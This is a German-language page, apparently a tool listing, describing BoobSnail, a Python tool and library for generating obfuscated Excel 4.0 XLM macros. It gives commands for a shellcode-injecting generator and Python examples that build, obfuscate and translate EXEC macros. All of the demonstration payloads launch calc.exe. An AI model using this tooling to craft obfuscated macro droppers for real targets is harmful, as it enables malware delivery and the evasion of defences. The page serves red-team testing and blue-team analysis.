
Generieren Sie obfuskierte Excel 4.0 XLM-Makros für Red-Team-Operationen und Blue-Team-Analysen, mit Unterstützung für mehrere Infektionstechniken, Formelübersetzung und bibliotheksbasierte benutzerdefinierte Generatoren.
Folgen Sie uns auf Twitter!
BoobSnail ermöglicht die Generierung von XLM-Makros (Excel 4.0). Der Zweck besteht darin, RedTeam und BlueTeam bei der XLM-Makrogenerierung zu unterstützen. Funktionen:
Getestet mit: Python 3.8.7rc1
pip install -r requirements.txt
python boobsnail.py
___. ___. _________ .__.__
\_ |__ ____ ____\_ |__ / _____/ ____ _____ |__| |
| __ \ / _ \ / _ \| __ \ \_____ \ / \__ \ | | |
| \_\ ( <_> | <_> ) \_\ \/ \ | \/ __ \| | |__
|___ /\____/ \____/|___ /_______ /___| (____ /__|____/
\/ \/ \/ \/ \/
Author: @_mzer0 @stm_cyber
(...)
python boobsnail.py <generator> -h
Um verfügbare Generatoren anzuzeigen, geben Sie ein:
python boobsnail.py
Verschleiertes Makro generieren, das x64- oder x86-Shellcode injiziert:
python boobsnail.py Excel4NtDonutGenerator --inputx86 <PFAD_ZUM_SHELLCODE> --inputx64 <PFAD_ZUM_SHELLCODE> --out boobsnail.csv
Verschleiertes Makro generieren, das calc.exe ausführt:
python boobsnail.py Excel4ExecGenerator --cmd "powershell.exe -c calc.exe" --out boobsnail.csv
BoobSnail stellt die Bibliothek excel4lib zur Verfügung, mit der Sie Ihren eigenen Excel4-Makrogenerator erstellen können. excel4lib enthält einige Klassen, die beim Schreiben eines Generators verwendet werden können:
Die Hauptidee dieser Bibliothek ist es, Excel4-Formeln, Variablen, Formelargumente und Werte als Python-Objekte darzustellen. Dadurch können Sie Attribute von Anweisungen wie Formel- oder Variablennamen, Werte, Adressen usw. auf einfache Weise ändern. Erstellen wir beispielsweise ein einfaches Makro, das calc.exe ausführt
from excel4lib.macro import *
# Create macro object
macro = Excel4Macro("test.csv")
# Add variable called cmd with value "calc.exe" to the worksheet
cmd = macro.variable("cmd", "calc.exe")
# Add EXEC formula with argument cmd
macro.formula("EXEC", cmd)
# Dump to CSV
print(macro.to_csv())
Ergebnis:
cmd="calc.exe";
=EXEC(cmd);
Nehmen wir an, Sie möchten Ihr Makro verschleiern. Dazu müssen Sie nur den Obfuscator importieren und an das Excel4Macro-Objekt übergeben:
from excel4lib.macro import *
from excel4lib.macro.obfuscator import *
# Create macro object
macro = Excel4Macro("test.csv", obfuscator=Excel4Obfuscator())
# Add variable called cmd with value "calc.exe" to the worksheet
cmd = macro.variable("cmd", "calc.exe")
# Add EXEC formula with argument cmd
macro.formula("EXEC", cmd)
# Dump to CSV
print(macro.to_csv())
Derzeit stellt excel4lib zwei Verschleierungsklassen zur Verfügung:
Wie Sie sehen, können Sie Ihre eigene Verschleierungsklasse schreiben und in Excel4Macro verwenden.
Manchmal müssen Sie Ihr Makro in eine andere Sprache übersetzen, zum Beispiel in Ihre Muttersprache - in meinem Fall Polnisch. Mit excel4lib ist das ganz einfach. Sie müssen nur die Excel4Translator-Klasse importieren und set_language aufrufen
from excel4lib.macro import *
from excel4lib.lang.excel4_translator import *
# Change language
Excel4Translator.set_language("pl_PL")
# Create macro object
macro = Excel4Macro("test.csv", obfuscator=Excel4Obfuscator())
# Add variable called cmd with value "calc.exe" to the worksheet
cmd = macro.variable("cmd", "calc.exe")
# Add EXEC formula with argument cmd
macro.formula("EXEC", cmd)
# Dump to CSV
print(macro.to_csv())
Ergebnis:
cmd="calc.exe";
=URUCHOM.PROGRAM(cmd);
Derzeit werden nur die Sprachen Englisch und Polnisch unterstützt. Wenn Sie eine andere Sprache verwenden möchten, müssen Sie Übersetzungen im Verzeichnis excel4lib/lang/langs hinzufügen.
Sicherlich werden Sie eine Formel erstellen müssen, die eine andere Formel als Argument nimmt. Dies können Sie mit der Funktion Excel4Macro.argument tun.
from excel4lib.macro import *
macro = Excel4Macro("test.csv")
# Add variable called cmd with value "calc" to the worksheet
cmd_1 = macro.variable("cmd", "calc")
# Add cell containing .exe as value
cmd_2 = macro.value(".exe")
# Create CONCATENATE formula that CONCATENATEs cmd_1 and cmd_2
exec_arg = macro.argument("CONCATENATE", cmd_1, cmd_2)
# Pass CONCATENATE call as argument to EXEC formula
macro.formula("EXEC", exec_arg)
# Dump to CSV
print(macro.to_csv())
Ergebnis:
cmd="calc";
.exe;
=EXEC(CONCATENATE(cmd,R2C1));
Wie Sie sehen, wurde die Zeichenkette ".exe" als R2C1 an die CONCATENATE-Formel übergeben. R2C1 ist die Adresse des ".exe"-Werts (ZEILE Nummer 2 und SPALTE Nummer 1). excel4lib gibt Verweise auf Formeln und Werte als Adressen zurück. Verweise auf Variablen werden als deren Namen zurückgegeben. Sie haben wahrscheinlich bemerkt, dass die Excel4Macro-Klasse Formeln, Variablen und Werte automatisch in der Reihenfolge zum Arbeitsblatt hinzufügt, in der diese Objekte erstellt werden, und dass die Startadresse R1C1 ist. Was ist, wenn Sie Formeln in einer anderen Spalte oder Zeile platzieren möchten? Dies können Sie durch Aufruf der Funktion Excel4Macro.set_cords tun.
from excel4lib.macro import *
macro = Excel4Macro("test.csv")
# Column 1
# Add variable called cmd with value "calc" to the worksheet
cmd_1 = macro.variable("cmd", "calc")
# Add cell containing .exe as value
cmd_2 = macro.value(".exe")
# Column 2
# Change cords to columns 2
macro.set_cords(2,1)
exec_arg = macro.argument("CONCATENATE", cmd_1, cmd_2)
# Pass CONCATENATE call as argument to EXEC formula
exec_call = macro.formula("EXEC", exec_arg)
# Column 1
# Back to column 1. Change cords to column 1 and row 3
macro.set_cords(1,3)
# GOTO EXEC call
macro.goto(exec_call)
# Dump to CSV
print(macro.to_csv())
Ergebnis:
cmd="calc";=EXEC(CONCATENATE(cmd,R2C1));
.exe;;
=GOTO(R1C2);;